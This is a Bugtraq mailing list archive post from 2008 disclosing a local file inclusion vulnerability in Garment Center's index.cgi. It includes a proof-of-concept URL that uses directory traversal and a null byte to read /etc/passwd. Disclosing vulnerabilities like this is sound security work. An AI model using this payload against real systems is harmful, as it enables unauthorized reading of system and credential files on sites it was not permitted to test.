Bugtraq mailing list archives

Garment Center (index.cgi) Local File Inclusion

From: Smasher () ciucciamiilcalzino it
Date: 12 Jan 2008 16:44:24 -0000

[+] Discovered by Smasher
[+] WarWolfz Crew.
[+] http://warwolfz.altervista.org/

Hey wassup....i've found a vulnerability in 
Garmentcenter in index.cgi...

PoC:

/index.cgi?page=[LFI]

Ex.
http://site(1).com/index.cgi?page=../../../../../../../../etc/passwd%00  

Regards.
Smasher.

Current thread:

Garment Center (index.cgi) Local File Inclusion Smasher (Jan 14)
- <Possible follow-ups>
- Re: Garment Center (index.cgi) Local File Inclusion Smasher (Jan 14)